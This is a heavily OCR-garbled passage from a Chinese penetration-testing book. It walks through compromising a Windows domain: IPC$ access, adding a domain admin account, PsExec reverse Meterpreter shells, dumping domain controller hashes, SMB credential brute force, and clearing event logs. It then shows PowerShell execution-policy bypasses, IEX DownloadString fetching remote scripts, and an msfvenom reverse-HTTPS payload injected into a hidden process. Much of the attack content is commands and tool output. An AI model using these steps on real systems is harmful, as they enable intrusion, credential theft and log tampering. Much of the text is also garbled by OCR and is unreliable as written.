n:otorpn't ＜＇~ > 9otn1d I 
S<•rv•号 r \1~H~rn1句：1价 ： ！ IEl>AHIL\,,0:11c•,1,t1 I I 
I旦旦旦旦主旦旦旦E > Ct:\;J:Jl.U I 
Cun:c:>L pJ.<.I : 30!:>6 －~ I 

图5-125 迁移进程

这里除了迁移进程，也可以使用Metasploit中的窃取令牌功能，同样能获得获得

域管理权限。

接着查看主域控IP，这里使用net time命令，一般来说时间服务器都是域服务器，

如图5-126所示。

图5-126 查看主域控IP

可以看到域服务器的主机名为PAVMSAD64, IP地址为10.51.0 . 63 。

现在我们可以使用经典的IPC$入侵来反弹一个Meterpreter Shell，具体操作如图

5-127和图5-128所示。

C:\W立nd。W'3\:Jy'3 巳cm32 ＞口e汇 U:JC 飞＼ Pλ咄sλ061 . . c。m.br\c$ I 
net use \\… 
The c。啊田回nd c。阳pleted success rul 1 y. I 

图5-127 IPC$渗透

仅供非商业用途或交流学习使用
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I C:\U,.ers\mal2~6>ac ＼飞 PAVMSAD61.: . l.com . br 16:55:25 c ：飞payl。“ .exe I 
ac \\PAVMSAD6'l. . l. c。m . br 18:55:25 c:\payl。ad . exe 一 l

Thf! AT C町:mand has been deprecaccd . Please use schcask5 . e x e ln5tead . I 

l!hf! reqm:"t. i!l not. :iupport.ed I 
图5-128 使用at命令启动木马

提示at命令己经被弃用，因为目标机的系统是Windows 2012，现在使用schtasks 

命令来添加计划任务。因为现在已经在域管理员权限下面了，所以要给域控添加一

个管理员账户，如图5-129所示。

C:\Uoero飞mal246>ne巳 U!Je!.' s。n豆cwalll Pa.,wOrlc ’@ J /ed /d。"4ln
只et user s。n1cwalll Pa:iowOrk ’83 /ad /d。main
The requcot will be pr。ceooed a℃ a d。IM立＂ c。ntr。l ler ror domain r 

The command c。mpleted oucceoofully. 

C: \Uoer:i飞归国l246>net qr。up "dorrunn actnun:i ” s。n主cwalll /ad /doni.a1n 
net 11 z。up ”domarn edm立no ” s。n立cwalll /ad /do:u.a1n 
The requeot w立 l 1 be proceooed at s d。lll4 主n con~ z。ller E。z d。ni.c1nπ

The c。ii:mand c。mpleted oucce .... rully. 

图5-129 添加域管理员账户

. c。.， .br.

.c。，. .br .

利用如下命令确认账户是否添加成功，如图5-130所示。

图5-130 查看域管理员组

可以看到笔者己经成功添加了管理员账户 。

5.9.7 登录域控制

现在域控的权限也终于到手了。接下来就要登录域拉，然后抓域控的Hash 。

仅供｜非商业Hli垂成交流学习使用
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常见的登录域控的方式有以下这几种。

• 利用IPC上传AT&Schtasks远程执行命令。

• 利用端口转发或者Socks登录域控远程桌面。

• 登录对方内网的一台计算机使用PsTools工具包中的PsExec来反弹Shell 。

• 使用Metasploit下的PsExec、 psexec_psh 、 Impacket psex町、 pth-winexe、 Empire

Invoke-Psexec等PsExec类工具反弹Shell o

• 使用Metasploit下的smb_login来反弹Meterpreter。

• 使用WMI (Windows Management Instrumentation）来进行攻击。. 使用PsRemoting posershel远程执行命令。

• 其他一些方法。

这里采用最常见也是效果最好的方式， ePMetasploit下的PsExec来反弹Meterpreter,

使用时要注意以下这两点， 如图5-131所示。

• MSF中的PsExec模块。

• cuestom模块， 建议使用类似Veil之类的工具来生成免杀的Payload 。

3f exploit( ) > u!le explo1 t/w1r.ctow!!/ !lrr..b/p!l~ ：＜ ec 

羽a f exploit( ) > !let !lmbu!l吧 z !lOP.lC'•Mlll 
,imbuser •> !lon1cwalll 
!lfηxplolt ( ) > .'let !Irr.tipα白’ I' II~’”’d叶 EK ’'.< J 

l'.Hnbpfl.'.'l~J “ ＞ Pfl!l!lWOr k ’自 3

内！！ l'. •!Kplolt ( ) > !l"t :'lmbdorr .. "lln ME Pλll IL 
1~mbctomn1n ’＞ MED/llHL 
而回…血…......1 ) > run 

Exploit J'.tulect : The following opt1on!l ft11led to validate : RHOST . 
sf exploit( ) >!let rho!!t 10 . $1.0 . 6-l 
host=> 10 . 51.0.64 
匾’~『组垣画”u ) > run 

St:arted reverse handle:: on 15. · 30 : 4 哇哇 4

Conneccing to t:he server ... 
Authenticating to 10 . 51 . 0 . 6哇 ： ·HS iMEDABIL as use!: ’ S口旦工cwalll ' ... 
Selecting Powe!:Shell ta?:get 
10. 51. O. 64 : ·HS - E:{ecut l口g the payload ... 

:’: 10 . 51.0 . 61 : 445 - Serv工ce start t:imed out , CK if ru旦旦L口q a corrJT.and or 

图5-131 使用 PsExec模块反弹Meterprete「

可以看到己经反弹成功了，然后先迁移进程，查看域控的系统信息和sessions控

仅供非商业用途或交流学习使用
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制图，如图5-132和图5-133所示。

图5-132 迁移进程

m!l! p o,,t ( l > !J 巴 3~.lOn!'.J

Act l ve !l<'.'o•,,10n" 

Id Tγpe lntorrr.a巳 1号巳 Conr.ecticn 

meterpret:er x86/win32 
2 rr.et:erprete:: x86 /win32 

3 " ‘eterpret:er x56 /’,·1n32 
4 时eterpre巳 er x吾-ihnn6'1

5 rr.eterp::eτer x64 /•,;in64 

图5-133 查看sessions

!·!E0j..31L \ !1λ工 38~ @ PAV?1SE1'2 工 ~5.

NτλUT旦ORITY\ SYSTE.:-! @ PA飞，＂！1SEP二 3二 45. -
~lT A'Jτ丑ORITY\SYSTEH ~ Pλ飞11SDI 工~2 15 . 
!·!EDλ31L\ scnic飞，： all ~ PA飞寸ISXD30 45 . ~ _ 
:r丁 λUτ丑ORITY\ SYSTEH @ PA＼＇：~SA.D64 45. ” 

r < . 30 :413 -> 20: 

-.30 : 443 -> 20. 

.J . 30 :H3 -> 2tl 
. 30 : 4~3 -> 2α 

-‘ . 30 : 5443 -> 2. 

思路：可以看到现阶段控制的session共有5个。 session I为WebShell反弹， session2

利用ipc$入侵，渗透session4的目的是获取域管在线服务器， sessions为域。 整个渗透

过程一环套一环，环环相扣。

有了域控的权限，接着来抓Hash，常用方法有以下这几种。

• 使用Metasploit自带的dumphash或者smart hashdump模块导出用户的Hash 。. 利用PowerShell的相应模块导出Hash 。

• 使用WCE、 Mimikatz等工具。

• 其他方法。

仅供非商业用途或交流学习使用
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这里使用了Metasploit自带的dumphash模块。需要注意，要想使用此模块导出Hash,

必须有SYSTEM的权限才行，具体操作如图5-134所示。

"'"f e:xploit( 
m:ir p。” t ( 

) > us" po,.t/wlndow"/Qather/mwrt h4.1hdump 
) > 9hOW 。pt 10n~ 

M。du le 。pt1on" (p。＂ t/w1ndows/<;1ather/mr.art ha,,r.durr.pl: 

Name Curr.,nt S"ttlnQ Required o.,,,cn F℃丰。n

GETSYSTEM !al"" 
SESSION 

n。

Y"" 
Att.,rr.pt to Q"t SYSTEM pr1v1l.,Qe en the 

The """"1。n to run this rr.。dule 。只．

mst p。St ( ) > set """"1。n 5 

""""l。n •> 5 
msf post( ) > run 

［斗

Runn主ng m。dule ac;Jainst PA飞!MSAD6'i
Hashes 曰ill be saved t。 the database if one is c。nnect:ed.
Hashes will be saved in l。。 t: in JtR password f 二 le f。zπtat: E。：

Ir。。r;;/ . msf4/l。。t:/20151211161520 default: 10.51.0.6'i windc·.-,,.hashe＂寸499口7. txt: 

This h。St l.S a D。main c。ntE。ller' 
Dumping pa.ssw。rd hashes ... 

图5-134 抓取域Hash

5.9.8 SMB 爆破内网

有了域控的密码，接下来只要快速在内网扩大控制权限就好，具体操作如下所

刁亏 。

• 利用当前获取的域控账户密码，对整个域控IP段进行扫描。. 使用SMB下的smb一login模块。

• 端口转发或者Socks代理进内网。

我们先在Metasploit添加路由，然后使用smb_login模块或者psexec_scanner模块进

行爆破，具体操作如图5- 135～图5- 137所示。
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CCC王E王立旦旦王 > backi;ir。und
Bockor。undinQ

st expl。1巳（ ) > route odd 10 . 51.0. ’: 255.255.0 . 0 2 
R。Ul:c added 

!lf explo且 t ( ) > !learch ,,,ub_loQin 

匾’.......…·哑，－~r.r.何•l"ml

Nan飞e 0l9Cl。sure Dace R&nk 

&UX孟liary/fuzzers/smb/smb ntlml l。Qln c。rrupt

au>:iliary/!lc&nner/s四lJ/!lmb l。Ql.n

sf expl。l t( ) > use auxil主ary/5canner/smb/smb l。q1n

.sf auxiliary( ) > !let rhosts 10 . 51 . 0 . · _/21 
rhoscs => 10.51.0.131/2~ 

f auxiliary( ’＿.~ ... －』’……＆雹~国
smbuser => Joa。 .guerino

f auxiliary( ) > set smbpass ‘…- 
l!!smbpass ＝＞血edabl.12013自

f au>aliary ( ) > sec !lmb<i。血ain HEDABIL 
!lmbd。皿ain => HEDAB!L 

f auxiliary(‘) > sec c hreads 16 
thread!! => 16 

图5-135 设置smb一login模块

n。zπ＂＇

norl!lll 

[+] 10 .51.0.19:445 SMB - Succe•rn: ＇.”‘－一鸣’ l｜咀 m
i~J 10 .51. 0 . 20:445 s：岱－ Succes!l ：吓一－ - '@ ' I 
[Tj 10.51.0.17:445 SHB - Succe!l!l: ·rn叫局i-' • - .. , , I 
［令 l 10 .Sl. 0.16 : 445 S四－山山山~. 白山一－ . ... ~＂－川、， •• ucuaOJ • 衍 ’ | 
f+! 10.51.0.18:445 SMB - Succe!ls: ' MEf噜－－ ｜

图5-136 开始扫描内网

msf auxiliary ( ) > creds 
Credentials 
....................... 

hoot or1Q1n •erv1ce puklic pr1vate realm priv 

10.1.16.12?. 10 . 1.16.200 115／巳cp (•mb) PAO•~ 

10.1.16 . 152 10.1.16.200 115／巳cp (•mb) Pao• 
10.1.16.156 10.1.16.200 1·15 ／℃cp (•rr.b) 
10 . 1.16.200 10.1.16.200 ·l~S ／℃cp (Smb) d· : >Z Pa••~ 
10.l 16.201 10.1.16.200 115/tcp (•mb) 
10 . 51.0.2 10.51.0.3 4‘5/tcp (•rr.b) ' "' Pas•~ 

10 . 51.0.3 10.51.0.3 415／巳cp t•rr.b) !-. ,;.’ Pas•· 
10.51.0 . 1 10.51.0.3 会45/tcp p，副吨司e

10.51.0.5 10.51.0.3 电15/tcp (smb）血，
__ _. • "l 币， 1 『F

』 Pass•

10.51.0.6 10.51.0.3 41<1 －冉皿 ＂且，． ．． Pass• 
10.51.0.8 10.51.0.3 145/tcp (srr.b 、 J p －胃 Pass 

，、 咱 44 ,.· 'RT! D 

图5-137 整理扫描结构
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可以看出 ， 我们获取了大量内网服务器的密码， 下面就可以畅游内网了。可以

使用Meterpreter的端口转发，也可以使用Metasploit下的Socks4a模块或者第三方软件。

这里简单地使用Mete甲reter的端口转发即可，如图5- 138所示。

lmecerp＂…………四川，，＿ ， ＿ ，＿， I 
L。cal TCP relay creaced : 0 . 0 . 0 . 0 : 5555 <-> 127 . 0 . 0 . 1 : 3389 I 

met:erpret:er > back<;Jr。und I 

图5- 138 端口转发

5.9.9 j青E里日 志

清理日志主要有以下几个步骤， 如图5-139～图5- 141所示。

. 删除之前添加的域管理账号。
• 删除所有在渗透过程中使用过的工具。. 删除应用程序、系统和安全日志。
• 关闭所有的Meterpreter连接。

~S CoWi d w '•yat … u r i w 111 /d l I 
h” co111111and co111pleted oucceaafully. I 
S C:,\Hndo1-1s,syste11132> logoff _ I 

图5- 139 删除之前添加的用户账号

lmeteroreter > clea 「ev I 
川叮 Wiping 0 records from Application. . I 
川叮 Wiping 2 rec。 rds from System. . I 
川叮 Wiping 1 reco 「ds from Security. . . I 

图5- 140 删除日志
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msf ei<ploit( 
一

) > ""'""1。n"

Active """"1。n"

Id Type lnformat1on c。nnectl。n

l met<·rpre℃er ＂日 6/win32 Mf.OABIL ＼ ~1'\1381 9 PAVMSl':f'21 ’5. ~ 
2 met<"qorecrr xe6/w1n3.? llT AUTHOR!TY\SYST!:H 9 PAVMSEPl31 15 .. 

3 met 俨 q:ret<"r l< 曹 6/w1n32 NT AUTHORITY\SYSTEH 8 PAVHSDI112 15. 

1 rr.eterpr ＂＇℃e r x61/w in64 HEDABIL＼，。n立 C'olall 9 p;,VMSXD30 

5 IT、e℃erpre℃er x61 /w ln61 llT AUTHORITY飞SYSTEM 9 PAV刊SAD61

msf expl。立t ( ) > """"i。n" -I< 
Kllllnq all sessi。n9 . . . 

10.51.0.21 - Met e艺preter ＂＂＂＂且。n 1 cl。sed .

10. 51. 0. 131 - M<!terprei;er ＂＂＂＂立。n 2 cl。＂ed.

10.51.0 . l 全 2 - Me℃erpret;er """"i。n 3 cl。.sed .

1 口. 51 . O. 30 - !·!eterprei;er """"i。n .; cl。.sed.

10.51.0 . 61 - He巳erprei;er """"1。n 5 cl。.sed.

图5-141 关闭所有MSF连接

15. 啕

15.' 

. 30:1'13 -> 

.30:H3 -> 

.30:113 -> 

.30:113 ”>

.30 : 8113 -
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6.1 PowerShell 技术

在渗透测试中， PowerShell是不能忽略的一个环节，而且仍在不断地更新和发展，

它具有令人难以置信的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在

一台计算机上运行代码，就会下载PowerShell脚本文件 C.ps 1 ）到磁盘中执行，甚至

无须写到磁盘中执行，它可以直接在内存中运行。这些特点使得PowerShell在获得和

保持对系统的访问权限时，成为攻击者首选的攻击手段，利用PowerShell的诸多特点，

攻击者可以持续攻击而不被轻易发现。

常用的PowerShell攻击工具有以下这几种。

• PowerSploit： 这是众多PowerShell攻击工具中被广泛使用的PowerShell后期

漏洞利用框架，常用于信息探测、特权提升、凭证窃取、持久化等操作。

• Nishang：基于PowerShell的渗透测试专用工具，集成了框架、脚本和各种

Payload，包含下载和执行、键盘记录、 DNS、延时命令等脚本。

• Empire：基于PowerShell的远程控制木马，可以从凭证数据库中导出和跟踪

凭证信息，常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、

持久化控制。

• PowerCat: PowerShell版的NetCat，有着网络工具中的“瑞士军刀”美誉，

它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向，

读者可以在脚本中以多种方式使用它。

6.1.1 Powe「Shell 简介

Windows PowerShell是一种命令行外壳程序和脚本环境，它内置在每个受支持的
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Windows版本中 （Windows 7/Windows 2008 R2和更高版本）， 使命令行用户和脚本编

写者可以利用.NET Framework的强大功能。一旦攻击者可以在一台计算机上运行代

码，他们就会下载PowerShell脚本文件 C.psl) 到磁盘中执行 ， 甚至无须写到磁盘中

执行，它可以直接在内存中运行， 也可以把PowerShell看作命令行提示符cmd. exe的

扩充。

PowerShell需要.NET环境的支持， 同时支持阳T对象， 其可读性、 易用性，可

以位居当前所有Shell之首。 PowerShell的这些特点正在吸引攻击者， 使它逐渐成为一

个非常流行且得力的攻击工具。 PowerShell有以下这几个优点。

• Windows 7以上的操作系统默认安装。

• PowerShell脚本可以运行在内存中 ， 不需要写入磁盘。. 可以从另一个系统中下载PowerShell脚本并执行。

• 目前很多工具都是基于PowerShell开发的。

• 很多安全软件并不能检测到PowerShell的活动 。

• cmd.exe通常会被阻止运行，但是PowerShell不会。. 可以用来管理活动 目 录。

各个Windows系统下的PowerShell版本， 如图6-1所示。

| 操作系统 I Pow叫ell版本 ｜ 是否可棚
Window 7 /Windows Server 

2008 

Windows 8 /Windows 
Server 2012 

Windows 8.1/Windows 
server 2012 R2 

2.0 

3.0 

4.0 

可以升级为3.0 、 4.0

可以升级为4.0

否

图6-1 各个操作系统对应的Powe「Shell版本

可以输入Get-Host或者$PSVersionTable .PSVERSION命令查看PowerShell版本，如

图6-2所示。



PS C: \Users\shute.r) Get-Host 

lhsroe 
Vusion 
Inst&nceid 

ConsoleHost 
5. l 14393. 1358 
983bf a26-6195-4415-6acc-db900f c045c6 
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UI 
CurrentCulture 
CunentUICul ture 
hi •1ateData 
Debugge:rEnabled 
I sRunsp aceFushed 
Run space 

Syshm. !.!anag凹，ent. Automation Internal . Host . Intern.J.HostUserinterfac.; 
ih-Cl! 
z』-Cll
J.!i crosoft . FowerShell . C o执soleHostφConsol eC ol or Fr oi:y 
True 
Fol日
System . ），！町、agement . Automation Runspaces . LocalRunspace 

PS C \Users\shut会er > ; 7 ’－』~哥哥哥哥iiT!l

!faj or I.Ii nor Build E会” ision

5 14393 1358 

图6-2 查看Powe「Shell版本

6.1 .2 PowerShell 的基本概念

1. PS1 文件

一个PowerShell脚本其实就是一个简单的文本文件，这个文件包含了一系列

PowerShell命令，每个命令显示为独立的一行，对于被视为PowerShell脚本的文本文

件，它的文件名需要加上.PSI 的扩展名 。

2. 执行策略

为防止恶意脚本的执行， PowerShell有一个执行策略，默认情况下，这个执行策

略被设为受限。

在PowerShell脚本无法执行时，可以使用下面的cmdlet命令确定当前的执行策略。

• Get-ExecutionPolicy 。

• Restricted：脚本不能运行（默认设置） 。

• RemoteSigned：本地创建的脚本可以运行，但从网上下载的脚本不能运行

（拥有数字证书签名的除外〉。

• AllSigned：仅当脚本由受信任的发布者签名时才能运行。

• Unrestricted：允许所有的script运行。
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读者还可以使用下面的cmdlet命令设置PowerShell的执行策略。

Set-ExecutionPolicy <policy name > 

3. 运行脚本

运行一个PowerShell脚本，必须键入完整的路径和文件名，例如，你要运行一个

名为a.psl 的脚本，可以键入C:\Scripts\a.psl 。最大的例外是，如果PowerShell脚本文

件刚好位于你的系统目录中，那么在命令提示符后直接键入脚本文件名即可运行 ，

如泪.psl 的前面就加上了“人”，这和在Linux下执行Shell脚本的方法一样。

4. 营造

管道的作用是将一个命令的输出作为另一个命令的输入，两个命令之间用管道

符号（｜）连接。

举一个例子来看下管道是如何工作的，假设停止所有目前运行中的，以“p” 字

符开头命名的程序，命令如下所示。

PS > get-process p* I stop-p「ocess

6.1.3 Powe「Shell 的常用命令

1. 基本知识

在PowerShell下， 类似“cmd命令”叫作“cmdlet”， 其命名规范相当一致，都采

用“动词－名词”的形式，如New-ltem ， 动词部分一般为Add 、 New、 Get 、 Remove 、

Set等，命名的别名一般兼容Windows Command和Linux Shell，如Get-Childltem命令

使用dir或ls均可，而且PowerShell命令不区分大小写 。

下面以文件操作为例讲解PowerShell命令的基本用法。

• 新建目录： New-ltem whitecellclub-ltemType Direct。可。. 新建文件： New-ltem light.txt-ltemType File 。

• 删除目录： Remove-ltem whitecellclub 。

• 显示文本内容： Get-Content test.txt。

• 设置文本内容： Set-Content test. txt-Value "hell, word ！ ” 。
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• 追加内容： Add-Content light.txt-Value " i love you ” 。. 清除内容： Clear-Content test. txt 。

2. 常用命令

还可以通过Windows终端提示符输入PowerShell，进入PowerShell命令行，输入

help命令显示帮助菜单，如图6-3所示。

Microsoft 胃indows I藏本元.0:1豆豆豆I
!(c) 20 16 lli cr osoft Corp。rat i on. 保留所有权利－

C: \User s \shuteer )pow盯shell
曹indows PowerShell 
版权所有（C) 20 16 Microsoft Corporation. 保留所有权利，

PS C: \ User s\shuteer) hel p 

k题
f i ndows Pow时hell 帮助系统

简短说明
显示有关曹indows PowerShel 1 的 cmdlet 及概念的帮助－

k细说明
| ”’ i ndows PowerShell 帮E，’介绍7 曹indows Power St叫l 的口ndlet 、
| 函数、协脱块，械电J

Windows PowerShell 语言 元素等概念。

图6-3 查看Powe「Shell的帮助

如果要运行PowerShell脚本程序，必须用 管理员权限将Restricted策略改成

Unrestricted，所以在渗透时， 就需要采用一些方法绕过策略来执行脚本， 比如下面这

三种 。

• 绕过本地权限执行（如图6-4所示）

上传xxx.psl至目标服务器，在CMD环境下， 在目标服务器本地执行该脚本，

如下所示。

Powe「Shell. exe - Exec utionPolicy Bypass -File xxx . ps l 

• 本地隐藏绕过权限执行脚本

Powe 「Shell.exe -Exec ut ionPolicy Bypas s -WindowStyle Hidden -Nologo -Nonlnter、active

-NoProfile 『 F il e xxx.ps l 

• 用IEX下载远程PS I脚本绕过权限执行

Power、Shell.exe - Exec utionPolicy Bypa ss-WindowStyle Hidden-NoProfile-NonI 
IEX (New-ObjectNet . WebClient ) .DownloadSt r、ing( "xxx .psl”） ; [Pa「amete「s)
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下面对上述命令的参数进行说明，如下所示。

• ExecutionPolicy Bypass ： 绕过执行安全策略，这个参数非常重要，在默认情

况下， PowerShell的安全策略规定了PowerShell不允许运行命令和文件。 通

过设置这个参数，可以绕过任意一个安全保护规则。 在渗透测试中，基本

每一次运行PowerShell脚本时都要使用这个参数。

• WindowStyle Hidden：隐藏窗口 。

• NoLogo ： 启动不显示版权标志的PowerShell 。

• Nonlnteractive ( -Noni) ：非交互模式， PowerShell不为用户提供交互的提

刁亏。

• N oProfile ( -N oP) : PowerShell控制台不加载当前用户的配置文件。

• Noexit：执行后不退出Shell 。 这在使用键盘记录等脚本时非常重要。

PowerShell脚本在默认情况下无法直接执行， 这时就可以使用上述三种方法绕过

安全策略，运行PowerShell脚本，如图6-4所示。

PS C：吐』S:el'"S 、shuteer'J>esktop）’”hello hack四”’ ＞test .psi 
PS C ：吐』s:ers 、.shuteer'J>esktop) .、.test .psi

无法加载文件 C叫：“阳、.shuteer、Desktop、.test . ps i ，因为在此系统中禁止执行脚本． 有关详细信息，
~ . 
所在位置 行： 1 字符： 11 
·．、.te s t.psi 《《

+ Categorylnfo : HotSpecified: (:) [>, PSSecurityExcept i。n
+ PullyQuahfiedErr。rid : RuntiPleException 

PS C：吐Jsers、.shuteer、.De sktop) Po帽rShell.exe -ExecutionP。licy Bypass -Pile • 'test. psi 
hell。 hacker
PS C ：吐』sers 、.shuteer、Jlesk旬，〉．

图6-4 绕过安全策略

6.2 PowerSploit 

PowerSploit是一款基于PowerShell的后渗透（Post击xploitation）框架软件，包含

很多PowerShell攻击脚本，它们主要用于渗透中的信息侦察、权限提升、权限维持，

其GitHub地址为https ://github.com/PowerShellMafia/PowerSploit 。

6.2.1 PowerSploit 的安装

这里通过Kali下载PowerSploit，首先输入git命令下载程序目录，如图6-5所示。
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i:lll~：ilil'.i川l;iiiiiii~；；；，~；:;;;; ::; ; L ；~ 
Cloning int 'O\·i' I 
remote: Counting ob]eιts: 2960' clO!lP. I 
remote: Compressing objects. 100 (171171 ，口or~θ ｜

remote : Total 2960 (cie(ti1 151, reuseo 16 1oelta 71 ，口.ick reuse<! 2936 I 
Receiving obiects: 100. 12960/2960), 10.10 f-118 I 1-LOO K1B /s, done. I 

图6-5 下载Powe「Sploit

接着输入以下命令开启Apache服务，如图6-6所示。

立与f l• ' .i; 、＇ I ＇；斤 1 『’ | 
1r ... 1 二飞＇，.飞 lf'•J ,.-,1. ... ' 也 ！， q .. , 1,.,, •I 11 ，ι ；， ,': .,ot r.cl.~ .. 11:1, .:Jq ... ,,, L门 t ？｝！】叶 • I

l .~r ＇飞？υ飞 l , I I 1' l ＇主υj :. ,,, ,. '" "'' ' ' e 牛↑；丰. I for ：ιf •·I :J1n1号 l

图6-6 开启Apache服务

把下载好的文件夹移动到var/www/html 目录，搭建一个简易的服务器，在网页中

打开http:// 192. 168.31 .247/PowerSploit/，如图6-7所示。

IJ'""''"'-.s附 • ~II皿L田部f""""" '· • 
i令 l的

帽”回！ Vls.. d ’ ”。!fens,..Secunty 、＂＂＇＂＂＂＇ 飞时耻阳 飞Mτ..... 

Index of /PowerSploit 

Nil皿~ ldlllmgdlfi量d SW! Dos口iotlon

，国l:llllllll皿Ill目
口AntlvtrusBvnass/ 2017-06-21 09•25 
口ldul•E•＝~•DI 2017-06-21 09,25 

o囹＝监U且皿i 2017-06-21 09,25 
2017-06·21 09,25 I 6K 

OMA血a皿 2017-06-21 09,25 
Ofm监且皿Ill 2017-06-21 09,25 
自由因自阳werS~lolLosdl 2017品·2109•255.2K
阳werSplo!Losml 2017-06-21 09•25 135 
阳wet苦口lo!Los写orol20 1 7-06-2 109,25 lSK 
Power古olo!Ls』 2017-06-21 09,25 971 

。因且~ 2017-06-21 09,25 
画也且监.mil 2017-06·21 09 25 9 9K 
。险阻DI 2017-06-21 09,25 
口 ScrlptModlficatlonl 20口也6-21 09'25 
。监凶 2017-06-21 09,25 

Apache!Z.425 (Debia时 Server at 192.168.31.24 7阳rt BO 

图6-7 打开搭建的服务器

下面根据图6-7介绍PowerSploit各模块的功能，如下所示。

• AntivirusBypass ： 发现杀毒软件的查杀特征。

• CodeExecution ： 在目标主机上执行代码。
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• Exfiltration ： 目标主机上的信息搜集工具。

• Mayhem： 蓝屏等破坏性脚本。

• Persistence：后门脚本 （持久性控制）。

• Recon：以 目标主机为跳板进行内网信息侦查。

• ScriptModification ： 在目标主机上创建或修改脚本。

6.2 .2 PowerSploit 脚本攻击实战

PowerSploit下的各类攻击脚本相当得多，基于篇幅问题，不可能对每一个脚本都

进行详细的介绍，所以本小节只介绍一些在实战中用的比较多的脚本，读者也可以

尝试其他脚本。

6.2.2.1 lnvoke-Shellcode 

CodeExecution模块下的Invoke-Shellcode脚本常用于将ShellCode插入指定的进程

ID或本地PowerShell中 ， 下面介绍两种常用的反弹Meterpreter Shell方法。

1 直接执仔 ShellCode 反弹 Meterpreter She川

首先在MSF里使用reverse_https模块进行反弹，设置的内容如图6-8所示。

图6-8 设置监昕
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使用ms扒咄10m命令生成一个PowerShell脚本木马， 如图6-9所示。

「『1sfvenom - p windows /meter、P「ete「／「ever、se_https LHOST=192 .168 . 31. 247 LPORT=4444 -f 
powershell -o / var/www/html/test 

# msf·Jenom p windov/5/meterpreter/revei-se https LH旧ST•l92. 16日 31.247 LPORT•4444 ·f powershe\l -o /v i 
; ar／川／html/test J 
No platform 1<as selected，由oosrng Msf: :Module: :Platform: Wrndm;s from the payload I 
No Arch sele口创， selecting A1 ch: x86 from the payload I 
No encoder or badchars specified, outputting ra1·1 payload I 
;Payload size. 614 bytes I 
;Final size of po1;ershe\l file: 35创 bytes I 
Saved as: /var／刊阳／html/test I 

图6-9 生成Powe「Shell脚本木马

接着在目标机PowerShell下输入以下命令下载该脚本，如图6-1 0所示。

IEX(New-Object 
Net.WebClient ) .DownloadSt「ing （” htt p: // 192. 168.31.247/ Powe「Sploit/CodeExecution/In

voke-Shellcode . psl" ) 

i~s c 咄咄M 川剧创凶J N … > D l dSt i "' I p //I '12 1…刷 ·Sp! /C d E ion l I 
c Shclkodc.p"I ”>
阿 Co咄＂＂町、shutce>'> • 

图6-10 下载Invoke-Shellcode

接着输入以下命令下载木马，如图6-11所示。

IEX (New-Object Net.WebClient).DownloadSt「ing （” http :/1192 . 168.31 . 247 /test")

s … ~s 川…飞hutee1 ) • 

图6-11 下载木马

接着在PowerShell下运行以下命令，如图6-1 2所示。

Invoke-Shellcode -Shellcode ($buf) -Force 

！？ ω…u… 
图6-12 运行木马

图6-1 2中“ －Force”的意思是不用提示，直接执行。

现在返回M町的监听界面下，发现己经反弹成功了，如图6-13所示。
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E主I exploit ( ) > run 

i · ; Started HTIPS reverse handle r 。n https: //192 .168. 31. 247 : 4444 
, Starting the payload handler . . 

!’! https : //192 168. 31. 247: 4444 handling request from 192 168. 31. 22; ( UUID: mj fmb3zz) Staging x86 p 
ayload (958531 bytes) 
1 • ,! Meterpreter session 1 opened (192 168.31.247:4444 酌 ＞ 192.168 .31 .22 :51558) at 2817-86-21 11:11:8 
9 -8488 

但旦旦旦旦r >’ 
图6-13 反弹成功

2. 指定进程注入 ShellCode 反弹 Meterpreter Shell 

同样先在目标机PowerShell下输入以下命令，如图6-14所示。

IEX(New-Object 

Net.WebClient).DownloadSt「ing （” http: //192.168.31.247/ Power、Sploit/CodeExecution/In

voke-Shellcode.psl”) 
IEX (New - Object Net.WebClient).DownloadSt「i ng （ ” http:/ /192 .168.31.247/test")

PS C: \lfoe 1•s\slmtee1-> I EX<Heu-Object Net . \lebClient) .DounloadSt l'ing(”ht tp :t / 192 .168 . 3 1. 24?1Po 11e !'Sp lo it/CodeExecution/lnvo且

e-She llcode .ps1 ") 
PS C： 咱l s el's \slmteer) !EX <Neu-Object Net. \lebClient ) . Doun loadSt l'ing(”http: t 1192 .168 .31.24?/ tes t ”>

图6- 14 下载Powe「Shell脚本

接着输入Get”Process命令或者ps命令查看当前进程，如图6- 15所示。

图6-15 查看系统进程

然后输入以下命令创建一个新的进程，这里启动一个记事本，并把它设置为隐

藏的，再输入Get-Process命令查看进程，可以看到多了一个ID为5032，名为notepad

的进程，如图6-16所示。

Sta「t-P「ocessc:\windows \syste『『132\notepad. exe -WindowStyle Hidden 
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S C ：吐fae町、~hutee1、＞ Sta1-t-Proccss c: '"in<lo11s '° ysten32 'vlotepad. ex巳－＼/indouStylc Hidden 
S C:'1Jse1's'°hutee1-> get-iwocess 

andles NP问＜ K> F伺(I《〉 US<IOυ”〈”〉 CPU(s) ld P1·occssN,,ne 

---------- -- -----------
198 12 31688 34日n 190 自. 72 1620 2345Exi>lorel' 
798 22 58272 ’2856 266 27.85 4936 2345Explorer 

21 2 2自12 296日 31 0.05 2316 end 
21 2 20目4 2928 34 0.02 422•’ end 
45 3 1436 4672 48 0.02 1048 conhost 
45 3 146日 4624 48 0.03 1604 conho s t 
59 4 4380 1臼248 56 。 .Sil 2300 conhost 
58 3 1940 10968 54 自 .22 2560 conhost 
45 3 1436 4632 48 目 .02 3368 conhost 
59 4 4328 102?6 56 自.17 3996 conhost 
15 1436 4692 10 自 .02 4188 conhost 
58 1976 11068 54 0.76 452日 conhost

32 2 1144 3268 32 0.00 4888 con host 
45 3 1436 4712 48 臼 .02 5396 conhost 

531 6 1564 4760 6? 3 .49 432 csrss 
586 1日 11524 23952 168 17.60 5日8 COl'SS 
152 自 113616 145660 2日3 35.01 2996 dun 

1072 39 464?2 76788 281 51.5? 3028 ex11lo1•e1• 
目 0 自 24 自 0 Idle 

723 14 5188 10932 34 19.50 62目 lsass

211 s 2128 4976 23 0.11 628 lsn 
151 8 2796 6818 10 0.05 2384 nsdtc 
534 ? 90960 24116 118 0.20 1052 nysqld 
102 s 3436 5852 41 自.11 120臼 nginx

9? 4 t(,(,tl SI布4•’
d’” tl tl2 4S民日 n«i n 宵

?, 3 1532 5376 6'7 自.02 5032 notcpi\d 
112 6 11212 13968 82 0.59 2712 php-C!Jl 
112 6 112日自 13972 82 自 .55 3464 h .i - c< i 

图6-16 生成新进程

接着输入以下命令，使用Invoke-Shellcode脚本进行进程注入，如图6- 17所示。

Invoke-Shellcode -P 「ocessID 5032 -Shellcode($buf) -Force 

